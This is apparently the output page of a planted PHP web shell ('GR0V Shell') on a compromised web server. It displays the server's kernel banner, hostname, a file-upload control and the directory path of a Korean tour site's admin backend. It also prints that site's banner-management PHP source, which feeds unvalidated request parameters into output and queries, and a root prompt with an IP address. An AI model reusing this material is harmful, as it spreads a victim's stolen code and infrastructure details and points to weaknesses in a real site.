? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/banner/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/banner/action.php

<?php
require_once('com_article.php');
require_once('mod_article.php');
require_once('mod_article_n.php');
require_once('com_topic.php');

$topic=new topic();
$article=new article();
$article_n=new article_n();
$Html=new Html();
echo $Html->menu();
if($_GET['msg']!=""){echo msg_feedback($_GET['msg']);}
switch($_GET['ac']){
case edit;{
	echo $Html->Edit();
break;
}
default:
$header_name=Array(	
					'bannerName'=> "ชื่อ",
					'bannerPictureName'=> "รูปภาพ",
					'bannerInfo'=> "ตำแหน่งแสดงผล",							
					);
$header_td_width=Array('70%','20%','10%');
$orderby=$_GET['orderby'];
$sort=$_GET['sort'];
if($sort==""){$sort="Max2Min";}
$chksort=$_GET['chksort'];
$link="admin.php?mod=banner";
$topic->setLimit(20);
$topic->setPage();
 $topic->total_links(9);
echo "<div style=\"text-align:left;\">";
if ($_SESSION["la"] == 1){
echo $topic->listData($table='banner',$condition='',$orderby,$sort,$chksort,$header_name,$header_td_width,$link);
}else{
echo $topic->listData($table='banner_en',$condition='',$orderby,$sort,$chksort,$header_name,$header_td_width,$link);
}

echo "</div>";
break;

case new_data;{
require_once('com_new_topic.php');
break;
}
case add_banner;{
	$article_n->add_banner();
	break;
}
case edit_data;{
	require_once('com_edit_topic.php');
break;
}
case add_data;{
	$article_n->add_topic();
	break;
}
case de_banner;{
	$article_n->de_banner();
	break;
}
case edit_data_banner;{
	$article_n->edit_data_banner();
break;
}
case edit_data_do;{
	$topic_id=$_POST['topic_id'];
	$article->edit_topic($topic_id);
break;
}
case del_data;{
	$article_n->del_topic();
	break;
}
case view_cat;{
	require_once('manage_group.php');
break;
}
}//end switch

?>

T1KUS90T
  root-grov@210.1.60.28:~$